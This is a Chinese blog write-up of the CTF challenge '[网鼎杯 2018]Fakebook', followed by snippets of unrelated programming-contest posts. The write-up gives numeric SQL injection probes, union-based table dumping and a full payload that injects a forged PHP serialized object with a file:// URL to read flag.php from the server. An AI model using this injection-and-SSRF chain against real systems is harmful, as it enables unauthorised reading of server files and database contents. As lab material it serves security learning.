首页 > 其他分享 >[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

时间:2023-10-03 14:35:48浏览次数:40  
标签:---- no Fakebook blog 字段 2018 niyani 网鼎杯 data

这是一道SQL联合注入与ssrf的题目

解题过程

  1. 进入链接发现是一个注册登录界面。在登录页面尝试注入没有作用。先随便注册一个用户
  2. 登录后点击用户名跳转到详情界面
  3. 随手测试发现存在报错,大概率有SQL注入
  4. 1 and 1=2无回显测试为数字型注入
  5. 尝试union联合注入,1 order by 4查询字段数为4
  6. 常规爆表爆字段得到表名为users,字段名为no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,其中前四个为查询的字段
    7.select group_concat(no) from users查询各个字段的内容,发现只有一条数据
    | no | username | data |passwd|
    | ---- | ---- | ---- | ---- |
    | 1 | niyani | O:8:"UserInfo":3:{s:4:"name";s:6:"niyani";s:3:"age";i:19;s:4:"blog";s:15:"11309970564.com";} | ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413 |
  7. 联合注入的核心就是可以控制查询结果,我们构造查询结果测试data字段是否存在ssrf漏洞
    no 1
    username niyani
    passwd ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413
    data O:8:"UserInfo":3:{s:4:"name";s:6:"niyani";s:3:"age";i:19;s:4:"blog";s:15:"11309970564.com";}
    9.将data中的blog字段进行修改,使用file协议读取,经测试flag在flag.php
    payload为:-1 union/**/select 1,'niyani','ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413','O:8:"UserInfo":3:{s:4:"name";s:6:"niyani";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

标签:----,no,Fakebook,blog,字段,2018,niyani,网鼎杯,data
From: https://www.cnblogs.com/niyani/p/17741093.html

相关文章

  • P5015 [NOIP2018 普及组] 标题统计
    题目描述传送门凯凯刚写了一篇美妙的作文,请问这篇作文的标题中有多少个字符?注意:标题中可能包含大、小写英文字母、数字字符、空格和换行符。统计标题字符数时,空格和换行符不计算在内。输入格式输入文件只有一行,一个字符串\(s\)。输出格式输出文件只有一行,包含一个整数,即作......
  • P5299 [PKUWC2018] Slay the Spire
    P5299[PKUWC2018]SlaytheSpire洛谷:P5299[PKUWC2018]SlaytheSpireLOJ:#2538.「PKUWC2018」SlaytheSpire前言:请分清楚使用和抽取。九条要抽取\(m\)张牌,但只会使用\(k\)张牌。首先考虑当抽出的\(m\)张牌确定时的策略:记\(m\)张牌中强化牌的数量为\(c\)。......
  • Gym 104270 The 2018 ICPC Asia Qingdao Regional Programming Contest (The 1st Univ
    A.SequenceandSequenceB.KawaExam可以发现,对答案会产生影响的只有割边,把所有边双缩起来,然后就是一个森林。考虑一个树的时候怎么做,就是对于每条边求出这条边两端的众数个数,考虑线段树合并,每次动态维护子树内的众数和子树外的众数。#include<iostream>#include<cstdio>......
  • P5020 [NOIP2018 提高组] 货币系统
    #include<cstdio>#include<algorithm>usingnamespacestd;constintN=105;constintA=25005;inta[N];booldp[A];intmain(){ intt;scanf("%d",&t); while(t--){ intn;scanf("%d",&n); for(inti=......
  • CF957 Codeforces Round 472 (rated, Div. 2, based on VK Cup 2018 Round 2)
    CF957ATritonicIridescence如果原序列中有两个相同的字符,显然不合法。如果开头或者结尾为?,或者有两个连续的?,或者一个?两边的字符不同显然合法。否则一定不合法。#include<iostream>#include<cstdio>usingnamespacestd;constintN=105;intn;chars[N];intma......
  • JOI Open 2018
    バブルソート2/BubbleSort2可以发现,答案即为\(\max\limits_{i=1}^n\sum\limits_{j=1}^{i-1}[a_j>a_i]\)。因为是\(\max\),所以可能成为答案只有后缀最小值,可以把式子改写成\(\max\limits_{i=1}^n\left(i-\sum\limits_{j=1}^{n}[a_j\lea_i]\right)\)。这个就可以直接使......
  • CADDi 2018
    C-ProductandGCD令\(P=\prodp_i^{c_i}\)。对于某个\(p_i^{c_i}\),要使得\(\gcd(a_i)\)尽可能大,肯定将每个\(p_i\)平均分给\(n\)个数最优,然后就没了。#include<iostream>#include<cstdio>#include<cmath>usingnamespacestd;longlongn,p;longlongks......
  • P4425 HNOI/AHOI2018 转盘
    Day21。容易发现最优解里一定存在一种方案,为「一开始停留一段时间,然后一直往下一个取」的形式。通过调整容易证明。断环成链,直接列出式子:\[\text{ans}=\min\limits_{n\lei<2n}\max\limits_{i-n<j\lei}a_j-j+i\]令\(t_i=a_i-i(1\lei\le2n)\),然后让\(i\)平移\(n-1\)......
  • Jenkins 命令执行 -- jetty 敏感信息泄露 --(CVE-2021-2816)&&(CVE-2017-1000353)&&(C
    Jenkins命令执行--jetty敏感信息泄露--(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)jetty敏感信息泄露(CVE-2021-28169)漏洞简介对于<=9.4.40、<=10.0.2、<=11.0.2的EclipseJetty版本,对带有双重编码路径的ConcatServlet的请求可以访问WEB-INF目录......
  • 【Ynoi2018】天降之物
    【Ynoi2018】天降之物题意给定一个长为\(n\)的序列\(a\),支持两种操作:将所有\(a_p=x\)修改为\(y\)。查询\(\min(|i-j|)\),满足\(a_i=x\anda_j=y\)或者\(a_i=y\anda_j=x\)。题解考虑序列分块,首先考虑块内贡献,设块长为\(B\),由于分块的\(B\)一......